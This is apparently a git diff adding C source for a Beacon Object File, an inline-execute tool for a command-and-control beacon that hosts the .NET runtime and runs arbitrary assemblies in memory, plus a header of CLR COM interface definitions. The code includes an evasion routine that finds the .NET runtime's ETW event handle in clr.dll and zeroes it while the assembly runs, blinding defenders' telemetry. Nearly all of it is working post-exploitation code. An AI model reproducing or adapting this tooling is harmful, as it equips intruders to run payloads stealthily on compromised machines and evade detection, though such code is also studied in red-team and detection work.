+} + +static BOOL executeAssembly(HMODULE kernel32Base, CLRContext* ctx, char* assemblyArgs) { + VARIANT retVal; + ZeroMemory(&retVal, sizeof(VARIANT)); + VARIANT obj; + ZeroMemory(&obj, sizeof(VARIANT)); + obj.vt = VT_NULL; + + int argc; + wchar_t** argv = parseArgs(assemblyArgs, &argc); + // BeaconPrintf(CALLBACK_OUTPUT, "[D] argc: %d\n", argc); + + VARIANT vtPsa = { 0 }; + // Always create the array, just with 0 or more elements + vtPsa.vt = (VT_ARRAY | VT_BSTR); + vtPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, argc); // Works with argc=0! + + // Only populate if we have arguments + for (long i = 0; i < argc; i++) { + wchar_t* argument = argv[i]; + BSTR bstrArg = OLEAUT32$SysAllocString(argument); + if (bstrArg) { + OLEAUT32$SafeArrayPutElement(vtPsa.parray, &i, bstrArg); + // OLEAUT32$SysFreeString(bstrArg); + } + } + + // Always pass the array (even if empty) + SAFEARRAY* psaStaticMethodArgs = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 0, 1); + long idx = 0; + OLEAUT32$SafeArrayPutElement(psaStaticMethodArgs, &idx, &vtPsa); + + // EXECUTE ASSEMBLY + HRESULT hr; + hr = ctx->pMethodInfo->lpVtbl->Invoke_3(ctx->pMethodInfo, obj, psaStaticMethodArgs, &retVal); + + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[!] Assembly execution failed with HRESULT: 0x%08x\n", hr); + return FALSE; + } + + // CLEANUP - DO NOT destroy vtPsa.parray directly! + // Let VariantClear handle it + OLEAUT32$VariantClear(&retVal); + OLEAUT32$VariantClear(&obj); + OLEAUT32$VariantClear(&vtPsa); // This will destroy vtPsa.parray + + if (NULL != psaStaticMethodArgs) { + OLEAUT32$SafeArrayDestroy(psaStaticMethodArgs); + psaStaticMethodArgs = NULL; + } + + return TRUE; +} + +static char* readOutput(HANDLE hReadPipe, DWORD* pTotalBytesRead) { + DWORD bytesToRead = 65536; + char* returnData = (char*)MSVCRT$malloc(bytesToRead); + MSVCRT$memset(returnData, 0, bytesToRead); + + DWORD bytesRead = 0; + DWORD totalBytesRead = *pTotalBytesRead; + + while (KERNEL32$ReadFile(hReadPipe, returnData + totalBytesRead, bytesToRead - totalBytesRead - 1, &bytesRead, NULL) && bytesRead > 0) { + totalBytesRead += bytesRead; + if (totalBytesRead >= bytesToRead - 1) { + break; + } + } + + *pTotalBytesRead = totalBytesRead; + return returnData; +} + +static void cleanupCLR(HMODULE kernel32Base, CLRContext* ctx) { + // Cleanup in reverse order of creation + if (ctx->pMethodInfo) { + ctx->pMethodInfo->lpVtbl->Release(ctx->pMethodInfo); + ctx->pMethodInfo = NULL; + } + + if (ctx->pAssembly) { + ctx->pAssembly->lpVtbl->Release(ctx->pAssembly); + ctx->pAssembly = NULL; + } + + if (ctx->pDefaultAppDomain) { + ctx->pDefaultAppDomain->lpVtbl->Release(ctx->pDefaultAppDomain); + ctx->pDefaultAppDomain = NULL; + } + + if (ctx->pAppDomainThunk) { + ctx->pAppDomainThunk->lpVtbl->Release(ctx->pAppDomainThunk); + ctx->pAppDomainThunk = NULL; + } + + if (ctx->pCorRuntimeHost) { + ctx->pCorRuntimeHost->lpVtbl->Stop(ctx->pCorRuntimeHost); + ctx->pCorRuntimeHost->lpVtbl->Release(ctx->pCorRuntimeHost); + ctx->pCorRuntimeHost = NULL; + } + + if (ctx->pRuntimeInfo) { + ctx->pRuntimeInfo->lpVtbl->Release(ctx->pRuntimeInfo); + ctx->pRuntimeInfo = NULL; + } + + if (ctx->pClrMetaHost) { + ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost); + ctx->pClrMetaHost = NULL; + } + + _FreeConsole pFreeConsole = (_FreeConsole)getProcAddr(kernel32Base, "FreeConsole"); + pFreeConsole(); + + // BeaconPrintf(CALLBACK_OUTPUT, "[+] CLR cleanup complete\n"); +} + +static void restoreStd(HMODULE kernel32Base, HANDLE hOriginalStdout, HANDLE hWritePipe) { + // Restore STD handles + _SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle"); + pSetStdHandle(STD_ERROR_HANDLE, hOriginalStdout); + pSetStdHandle(STD_OUTPUT_HANDLE, hOriginalStdout); + + // Close write pipes + _CloseHandle pCloseHandle = (_CloseHandle)getProcAddr(kernel32Base, "CloseHandle"); + pCloseHandle(hWritePipe); +} + +int getImageSize(void* imageBase) { + IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)imageBase; + IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)imageBase + dos->e_lfanew); + int sizeOfImage = nt->OptionalHeader.SizeOfImage; + return sizeOfImage; +} + +int isMovRcxCall(unsigned char* instrAddr) { + if (instrAddr[0] != 0x48) { + return 0; + } + + if (instrAddr[1] != 0x8b) { + return 0; + } + + if (instrAddr[2] != 0x0d) { + return 0; + } + + if (instrAddr[7] != 0xe8) { + return 0; + } + return 1; +} + +int isEtwFunc(unsigned char* funcAddr, void* etwEventWrite) { + int i = 0; + while (1) { + unsigned char* currAddr = funcAddr + i; + unsigned char currByte = *currAddr; + + if (currByte == 0xc3) { + return 0; + } + + unsigned char nextByte = *(currAddr + 1); + + if (currByte != 0xff || nextByte != 0x15) { + i += 1; + continue; + } + + int iatOffset = *(int*)(currAddr + 2); + unsigned char* rip = (currAddr + 6); + int* iatAddr = *(int**)(rip + iatOffset); + + if (iatAddr == etwEventWrite) { + break; + } + + i += 1; + } + return 1; +} + +int* findDotNetRuntimeHandle() { + void* clrBase = getImageBase(L"clr.dll"); + int clrSize = getImageSize(clrBase); + + void* ntdllBase = getImageBase(L"ntdll.dll"); + void* etwEventWrite = getProcAddr(ntdllBase, "EtwEventWrite"); + + // assuming a max of 20 global variables that match the pattern + int MAX = 20; + int* handles[20] = { 0 }; + int handleCounts[20] = { 0 }; + + for (int i = 0; i < clrSize; i++) { + unsigned char* addr = (unsigned char*)clrBase + i; + if (isMovRcxCall(addr) != 1) { + continue; + } + + int callOffset = *(int*)(addr + 8); + unsigned char* rip = addr + 12; + unsigned char* callAddr = rip + callOffset; + + if (isEtwFunc(callAddr, etwEventWrite) == 0) { + continue; + } + + int handleOffset = *(int*)(addr + 3); + void* handleAddr = addr + 7 + handleOffset; + + if (handleAddr == NULL) { + continue; + } + + // store and increment counts in array + for (int i = 0; i < MAX; i ++) { + if (handles[i] == 0) { + handles[i] = handleAddr; + handleCounts[i] = 1; + break; + } + + if (handles[i] == handleAddr) { + handleCounts[i] += 1; + } + } + } + + // return the most frequent handle + int mostFreq = 0; + for (int i = 1; i < MAX; i ++) { + if (handleCounts[mostFreq] < handleCounts[i]) { + mostFreq = i;; + } + } + + return handles[mostFreq]; +} + +void turnOffEtw(int* handleAddr, int* handleVal) { + *handleVal = *handleAddr; + *handleAddr = 0; +} + +void turnOnEtw(int* handleAddr, int handleVal) { + *handleAddr = handleVal; +} + +void go(char *args, int len) { + // parse arguments + datap parser; + BeaconDataParse(&parser, args, len); + unsigned char* assemblyBytes = BeaconDataExtract(&parser, NULL); + size_t assemblyLength = BeaconDataInt(&parser); + char* assemblyArgs = BeaconDataExtract(&parser, NULL); + size_t patchEtw = BeaconDataInt(&parser); + size_t verbose = BeaconDataInt(&parser); + + if (assemblyLength == 0) { + return; + } + + // get function pointers + HMODULE kernel32Base = getImageBase(L"KERNEL32.DLL"); + + BOOL result; + + // initialize custom context struct to hold CLR values + CLRContext ctx; + result = startCLR(&ctx, verbose); + if (!result) { + cleanupCLR(kernel32Base, &ctx); + return; + } + + // null handleAddr + int* handleAddr = findDotNetRuntimeHandle(); + int handleVal; + if (patchEtw) { + turnOffEtw(handleAddr, &handleVal); + } + + if (patchEtw && verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value: %p\n", handleVal); + } + + if (verbose) { + HMODULE clrBase = getImageBase(L"clr.dll"); + BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll loaded: %p\n", clrBase); + } + + // create pipes + HANDLE hReadPipe = NULL; + HANDLE hWritePipe = NULL; + result = createPipe(kernel32Base, &hReadPipe, &hWritePipe, verbose); + + // check and create console + BOOL allocatedConsole = createConsole(kernel32Base, verbose); + + // redirect pipes + HANDLE hOriginalStdout = redirectPipes(kernel32Base, hReadPipe, hWritePipe, verbose); + if (!hOriginalStdout) { + cleanupCLR(kernel32Base, &ctx); + return; + } + + // create AppDomain + result = createAppDomain(kernel32Base, &ctx, hOriginalStdout, verbose); + if (!result) { + cleanupCLR(kernel32Base, &ctx); + restoreStd(kernel32Base, hOriginalStdout, hWritePipe); + return; + } + + // load target assembly + result = loadAssembly(kernel32Base, assemblyBytes, assemblyLength, hOriginalStdout, &ctx, verbose); + if (!result) { + cleanupCLR(kernel32Base, &ctx); + restoreStd(kernel32Base, hOriginalStdout, hWritePipe); + return; + } + + // execute target assembly + result = executeAssembly(kernel32Base, &ctx, assemblyArgs); + if (!result) { + cleanupCLR(kernel32Base, &ctx); + restoreStd(kernel32Base, hOriginalStdout, hWritePipe); + return; + } + + // null handleAddr + if (patchEtw) { + turnOnEtw(handleAddr, handleVal); + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Assembly executed, reading output...\n"); + } + + // restore stdout immediately and close write pipe + restoreStd(kernel32Base, hOriginalStdout, hWritePipe); + + // read from pipe + DWORD totalBytesRead = 0; + char* returnData = readOutput(hReadPipe, &totalBytesRead); + + _CloseHandle pCloseHandle = (_CloseHandle)getProcAddr(kernel32Base, "CloseHandle"); + pCloseHandle(hReadPipe); + + if (totalBytesRead > 0) { + returnData[totalBytesRead] = '\0'; + // BeaconPrintf(CALLBACK_OUTPUT, "\n=== Output (%d bytes) ===\n%s\n", totalBytesRead, returnData); + BeaconPrintf(CALLBACK_OUTPUT, "\n%s\n", returnData); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[!] No output captured (%d bytes read)\n", totalBytesRead); + } + + MSVCRT$free(returnData); + + cleanupCLR(kernel32Base, &ctx); + restoreStd(kernel32Base, hOriginalStdout, hWritePipe); + BeaconPrintf(CALLBACK_OUTPUT, "[+] Done \n"); +} \ No newline at end of file diff --git a/src/inlineExecute.h b/src/inlineExecute.h new file mode 100644 index 0000000..b42042d --- /dev/null +++ b/src/inlineExecute.h @@ -0,0 +1,981 @@ +#pragma once +#include + +/*BOF Defs*/ +#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) + +//MSVCRT +WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); +WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict _Dst, const void* __restrict _Src, size_t _MaxCount); +WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count); +WINBASEAPI int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2); +WINBASEAPI SIZE_T WINAPI MSVCRT$strlen(const char* str); +WINBASEAPI int __cdecl MSVCRT$_snprintf(char* s, size_t n, const char* fmt, ...); +WINBASEAPI errno_t __cdecl MSVCRT$mbstowcs_s(size_t* pReturnValue, wchar_t* wcstr, size_t sizeInWords, const char* mbstr, size_t count); +WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); +WINBASEAPI char* WINAPI MSVCRT$_strlwr(char * str); +WINBASEAPI char* WINAPI MSVCRT$strrchr(char * str); +WINBASEAPI int __cdecl MSVCRT$_open_osfhandle (intptr_t osfhandle, int flags); +WINBASEAPI int __cdecl MSVCRT$_dup2( int fd1, int fd2 ); +WINBASEAPI int __cdecl MSVCRT$_close(int fd); +//KERNEL32 +WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); +WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); +WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR lpString); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateMailslotA(LPCSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes); +WINBASEAPI BOOL WINAPI KERNEL32$GetMailslotInfo(HANDLE hMailslot, LPDWORD lpMaxMessageSize, LPDWORD lpNextSize, LPDWORD lpMessageCount, LPDWORD lpReadTimeout); +WINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName); +DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes); +DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (PVOID, DWORD, DWORD, PDWORD); +//SHELL32 +WINBASEAPI LPWSTR* WINAPI SHELL32$CommandLineToArgvW(LPCWSTR lpCmdLine, int* pNumArgs); +//MSCOREE +WINBASEAPI HRESULT WINAPI MSCOREE$CLRCreateInstance(REFCLSID clsid, REFIID riid, LPVOID* ppInterface); +//OLEAUT32 +WINBASEAPI SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreateVector(VARTYPE vt, LONG lLbound, ULONG cElements); +WINBASEAPI SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreate(VARTYPE vt, UINT cDims, SAFEARRAYBOUND* rgsabound); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY* psa, void HUGEP** ppvData); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY* psa); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayPutElement(SAFEARRAY* psa, LONG* rgIndices, void* pv); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY* psa); +WINBASEAPI HRESULT WINAPI OLEAUT32$VariantClear(VARIANTARG* pvarg); +WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR* psz); + +#define intZeroMemory(addr,size) memset((addr),0,size) +#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define memset MSVCRT$memset +#define stdout (__acrt_iob_func(1)) +#define STATUS_SUCCESS 0 +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) + +/*GetProcAddess Pointers*/ +typedef DWORD (WINAPI* _GetCurrentProcessId) (void); +typedef BOOL (WINAPI* _AttachConsole) (DWORD dwProcessId); +typedef BOOL (WINAPI* _AllocConsole) (void); +typedef HWND (WINAPI* _GetConsoleWindow) (void); +typedef BOOL (WINAPI* _ShowWindow) (HWND hWnd, int nCmdShow); +typedef BOOL (WINAPI* _FreeConsole) (void); +typedef BOOL (WINAPI* _SetStdHandle) (DWORD nStdHandle, HANDLE hHandle); +typedef HANDLE (WINAPI* _GetStdHandle) (DWORD nStdHandle); +typedef BOOL (WINAPI* _CloseHandle) (HANDLE hObject); +typedef _Post_equals_last_error_ DWORD (WINAPI* _GetLastError) (void); +typedef int (WINAPI* _WideCharToMultiByte) (UINT CodePage, DWORD dwFlags, _In_NLS_string_(cchWideChar)LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); +typedef LPVOID (WINAPI* _CoTaskMemAlloc) (SIZE_T cb); +typedef LPVOID (WINAPI* _CoTaskMemFree) (_Frees_ptr_opt_ LPVOID pv); +typedef HANDLE (WINAPI* _CreateNamedPipeA) (LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes); +typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);//NtWriteVirtualMemory +typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(HANDLE, PVOID, PULONG, ULONG, PULONG);//NtProtectVirtualMemory + +/*CLR GUIDS, Stucts -> Mostly from https://github.com/TheWover/donut*/ +static GUID xIID_AppDomain = { + 0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13} }; + +static GUID xCLSID_CLRMetaHost = { + 0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde} }; + +static GUID xIID_ICLRMetaHost = { + 0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16} }; + +static GUID xIID_ICLRRuntimeInfo = { + 0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91} }; + +static GUID xIID_ICorRuntimeHost = { + 0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} }; + +static GUID xCLSID_CorRuntimeHost = { + 0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} }; + + +GUID xIID_IUnknown; +GUID xIID_IDispatch; + +//GUID required to load .NET assemblies +GUID xCLSID_CLRMetaHost; +GUID xIID_ICLRMetaHost; +GUID xIID_ICLRRuntimeInfo; +GUID xCLSID_CorRuntimeHost; +GUID xIID_ICorRuntimeHost; +GUID xIID_AppDomain; + +typedef struct _ICLRMetaHost ICLRMetaHost; +typedef struct _ICLRRuntimeInfo ICLRRuntimeInfo; +typedef struct _ICorRuntimeHost ICorRuntimeHost; +typedef struct _ICorConfiguration ICorConfiguration; +typedef struct _IGCThreadControl IGCThreadControl; +typedef struct _IGCHostControl IGCHostControl; +typedef struct _IDebuggerThreadControl IDebuggerThreadControl; +typedef struct _AppDomain IAppDomain; +typedef struct _Assembly IAssembly; +typedef struct _Type IType; +typedef struct _Binder IBinder; +typedef struct _MethodInfo IMethodInfo; + +typedef void* HDOMAINENUM; + +typedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)( + REFCLSID clsid, + REFIID riid, + LPVOID* ppInterface); + +typedef HRESULT(__stdcall* CreateInterfaceFnPtr)( + REFCLSID clsid, + REFIID riid, + LPVOID* ppInterface); + + +typedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void); + +typedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void); + +typedef void(__stdcall* RuntimeLoadedCallbackFnPtr)( + ICLRRuntimeInfo* pRuntimeInfo, + CallbackThreadSetFnPtr pfnCallbackThreadSet, + CallbackThreadUnsetFnPtr pfnCallbackThreadUnset); + +#undef DUMMY_METHOD +#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This) + +typedef struct _BinderVtbl { + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + IBinder* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + IBinder* This); + + ULONG(STDMETHODCALLTYPE* Release)( + IBinder* This); + + DUMMY_METHOD(GetTypeInfoCount); + DUMMY_METHOD(GetTypeInfo); + DUMMY_METHOD(GetIDsOfNames); + DUMMY_METHOD(Invoke); + DUMMY_METHOD(ToString); + DUMMY_METHOD(Equals); + DUMMY_METHOD(GetHashCode); + DUMMY_METHOD(GetType); + DUMMY_METHOD(BindToMethod); + DUMMY_METHOD(BindToField); + DUMMY_METHOD(SelectMethod); + DUMMY_METHOD(SelectProperty); + DUMMY_METHOD(ChangeType); + DUMMY_METHOD(ReorderArgumentArray); +} BinderVtbl; + +typedef struct _Binder { + BinderVtbl* lpVtbl; +} Binder; + +#undef DUMMY_METHOD +#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This) + +typedef struct _AppDomainVtbl { + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + IAppDomain* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + IAppDomain* This); + + ULONG(STDMETHODCALLTYPE* Release)( + IAppDomain* This); + + DUMMY_METHOD(GetTypeInfoCount); + DUMMY_METHOD(GetTypeInfo); + DUMMY_METHOD(GetIDsOfNames); + DUMMY_METHOD(Invoke); + + DUMMY_METHOD(ToString); + DUMMY_METHOD(Equals); + DUMMY_METHOD(GetHashCode); + DUMMY_METHOD(GetType); + DUMMY_METHOD(InitializeLifetimeService); + DUMMY_METHOD(GetLifetimeService); + DUMMY_METHOD(Evidence); + DUMMY_METHOD(add_DomainUnload); + DUMMY_METHOD(remove_DomainUnload); + DUMMY_METHOD(add_AssemblyLoad); + DUMMY_METHOD(remove_AssemblyLoad); + DUMMY_METHOD(add_ProcessExit); + DUMMY_METHOD(remove_ProcessExit); + DUMMY_METHOD(add_TypeResolve); + DUMMY_METHOD(remove_TypeResolve); + DUMMY_METHOD(add_ResourceResolve); + DUMMY_METHOD(remove_ResourceResolve); + DUMMY_METHOD(add_AssemblyResolve); + DUMMY_METHOD(remove_AssemblyResolve); + DUMMY_METHOD(add_UnhandledException); + DUMMY_METHOD(remove_UnhandledException); + DUMMY_METHOD(DefineDynamicAssembly); + DUMMY_METHOD(DefineDynamicAssembly_2); + DUMMY_METHOD(DefineDynamicAssembly_3); + DUMMY_METHOD(DefineDynamicAssembly_4); + DUMMY_METHOD(DefineDynamicAssembly_5); + DUMMY_METHOD(DefineDynamicAssembly_6); + DUMMY_METHOD(DefineDynamicAssembly_7); + DUMMY_METHOD(DefineDynamicAssembly_8); + DUMMY_METHOD(DefineDynamicAssembly_9); + DUMMY_METHOD(CreateInstance); + DUMMY_METHOD(CreateInstanceFrom); + DUMMY_METHOD(CreateInstance_2); + DUMMY_METHOD(CreateInstanceFrom_2); + DUMMY_METHOD(CreateInstance_3); + DUMMY_METHOD(CreateInstanceFrom_3); + DUMMY_METHOD(Load); + DUMMY_METHOD(Load_2); + + HRESULT(STDMETHODCALLTYPE* Load_3)( + IAppDomain* This, + SAFEARRAY* rawAssembly, + IAssembly** pRetVal); + + DUMMY_METHOD(Load_4); + DUMMY_METHOD(Load_5); + DUMMY_METHOD(Load_6); + DUMMY_METHOD(Load_7); + DUMMY_METHOD(ExecuteAssembly); + DUMMY_METHOD(ExecuteAssembly_2); + DUMMY_METHOD(ExecuteAssembly_3); + DUMMY_METHOD(FriendlyName); + DUMMY_METHOD(BaseDirectory); + DUMMY_METHOD(RelativeSearchPath); + DUMMY_METHOD(ShadowCopyFiles); + DUMMY_METHOD(GetAssemblies); + DUMMY_METHOD(AppendPrivatePath); + DUMMY_METHOD(ClearPrivatePath); + DUMMY_METHOD(SetShadowCopyPath); + DUMMY_METHOD(ClearShadowCopyPath); + DUMMY_METHOD(SetCachePath); + DUMMY_METHOD(SetData); + DUMMY_METHOD(GetData); + DUMMY_METHOD(SetAppDomainPolicy); + DUMMY_METHOD(SetThreadPrincipal); + DUMMY_METHOD(SetPrincipalPolicy); + DUMMY_METHOD(DoCallBack); + DUMMY_METHOD(DynamicDirectory); + + END_INTERFACE +} AppDomainVtbl; + +typedef struct _AppDomain { + AppDomainVtbl* lpVtbl; +} AppDomain; + +#undef DUMMY_METHOD +#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAssembly *This) + +typedef struct _AssemblyVtbl { + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + IAssembly* This, + REFIID riid, + void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + IAssembly* This); + + ULONG(STDMETHODCALLTYPE* Release)( + IAssembly* This); + + DUMMY_METHOD(GetTypeInfoCount); + DUMMY_METHOD(GetTypeInfo); + DUMMY_METHOD(GetIDsOfNames); + + DUMMY_METHOD(Invoke); + DUMMY_METHOD(ToString); + DUMMY_METHOD(Equals); + DUMMY_METHOD(GetHashCode); + DUMMY_METHOD(GetType); + DUMMY_METHOD(CodeBase); + DUMMY_METHOD(EscapedCodeBase); + DUMMY_METHOD(GetName); + DUMMY_METHOD(GetName_2); + DUMMY_METHOD(FullName); + + HRESULT(STDMETHODCALLTYPE* EntryPoint)( + IAssembly* This, + IMethodInfo** pRetVal); + + HRESULT(STDMETHODCALLTYPE* GetType_2)( + IAssembly* This, + BSTR name, + IType** pRetVal); + + DUMMY_METHOD(GetType_3); + DUMMY_METHOD(GetExportedTypes); + DUMMY_METHOD(GetTypes); + DUMMY_METHOD(GetManifestResourceStream); + DUMMY_METHOD(GetManifestResourceStream_2); + DUMMY_METHOD(GetFile); + DUMMY_METHOD(GetFiles); + DUMMY_METHOD(GetFiles_2); + DUMMY_METHOD(GetManifestResourceNames); + DUMMY_METHOD(GetManifestResourceInfo); + DUMMY_METHOD(Location); + DUMMY_METHOD(Evidence); + DUMMY_METHOD(GetCustomAttributes); + DUMMY_METHOD(GetCustomAttributes_2); + DUMMY_METHOD(IsDefined); + DUMMY_METHOD(GetObjectData); + DUMMY_METHOD(add_ModuleResolve); + DUMMY_METHOD(remove_ModuleResolve); + DUMMY_METHOD(GetType_4); + DUMMY_METHOD(GetSatelliteAssembly); + DUMMY_METHOD(GetSatelliteAssembly_2); + DUMMY_METHOD(LoadModule); + DUMMY_METHOD(LoadModule_2); + DUMMY_METHOD(CreateInstance); + DUMMY_METHOD(CreateInstance_2); + DUMMY_METHOD(CreateInstance_3); + DUMMY_METHOD(GetLoadedModules); + DUMMY_METHOD(GetLoadedModules_2); + DUMMY_METHOD(GetModules); + DUMMY_METHOD(GetModules_2); + DUMMY_METHOD(GetModule); + DUMMY_METHOD(GetReferencedAssemblies); + DUMMY_METHOD(GlobalAssemblyCache); + + END_INTERFACE +} AssemblyVtbl; + +typedef enum _BindingFlags { + BindingFlags_Default = 0, + BindingFlags_IgnoreCase = 1, + BindingFlags_DeclaredOnly = 2, + BindingFlags_Instance = 4, + BindingFlags_Static = 8, + BindingFlags_Public = 16, + BindingFlags_NonPublic = 32, + BindingFlags_FlattenHierarchy = 64, + BindingFlags_InvokeMethod = 256, + BindingFlags_CreateInstance = 512, + BindingFlags_GetField = 1024, + BindingFlags_SetField = 2048, + BindingFlags_GetProperty = 4096, + BindingFlags_SetProperty = 8192, + BindingFlags_PutDispProperty = 16384, + BindingFlags_PutRefDispProperty = 32768, + BindingFlags_ExactBinding = 65536, + BindingFlags_SuppressChangeType = 131072, + BindingFlags_OptionalParamBinding = 262144, + BindingFlags_IgnoreReturn = 16777216 +} BindingFlags; + +typedef struct _Assembly { + AssemblyVtbl* lpVtbl; +} Assembly; + +#undef DUMMY_METHOD +#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IType *This) + +typedef struct _TypeVtbl { + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + IType* This, + REFIID riid, + void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + IType* This); + + ULONG(STDMETHODCALLTYPE* Release)( + IType* This); + + DUMMY_METHOD(GetTypeInfoCount); + DUMMY_METHOD(GetTypeInfo); + DUMMY_METHOD(GetIDsOfNames); + DUMMY_METHOD(Invoke); + + DUMMY_METHOD(ToString); + DUMMY_METHOD(Equals); + DUMMY_METHOD(GetHashCode); + DUMMY_METHOD(GetType); + DUMMY_METHOD(MemberType); + DUMMY_METHOD(name); + DUMMY_METHOD(DeclaringType); + DUMMY_METHOD(ReflectedType); + DUMMY_METHOD(GetCustomAttributes); + DUMMY_METHOD(GetCustomAttributes_2); + DUMMY_METHOD(IsDefined); + DUMMY_METHOD(Guid); + DUMMY_METHOD(Module); + DUMMY_METHOD(Assembly); + DUMMY_METHOD(TypeHandle); + DUMMY_METHOD(FullName); + DUMMY_METHOD(Namespace); + DUMMY_METHOD(AssemblyQualifiedName); + DUMMY_METHOD(GetArrayRank); + DUMMY_METHOD(BaseType); + DUMMY_METHOD(GetConstructors); + DUMMY_METHOD(GetInterface); + DUMMY_METHOD(GetInterfaces); + DUMMY_METHOD(FindInterfaces); + DUMMY_METHOD(GetEvent); + DUMMY_METHOD(GetEvents); + DUMMY_METHOD(GetEvents_2); + DUMMY_METHOD(GetNestedTypes); + DUMMY_METHOD(GetNestedType); + DUMMY_METHOD(GetMember); + DUMMY_METHOD(GetDefaultMembers); + DUMMY_METHOD(FindMembers); + DUMMY_METHOD(GetElementType); + DUMMY_METHOD(IsSubclassOf); + DUMMY_METHOD(IsInstanceOfType); + DUMMY_METHOD(IsAssignableFrom); + DUMMY_METHOD(GetInterfaceMap); + DUMMY_METHOD(GetMethod); + DUMMY_METHOD(GetMethod_2); + DUMMY_METHOD(GetMethods); + DUMMY_METHOD(GetField); + DUMMY_METHOD(GetFields); + DUMMY_METHOD(GetProperty); + DUMMY_METHOD(GetProperty_2); + DUMMY_METHOD(GetProperties); + 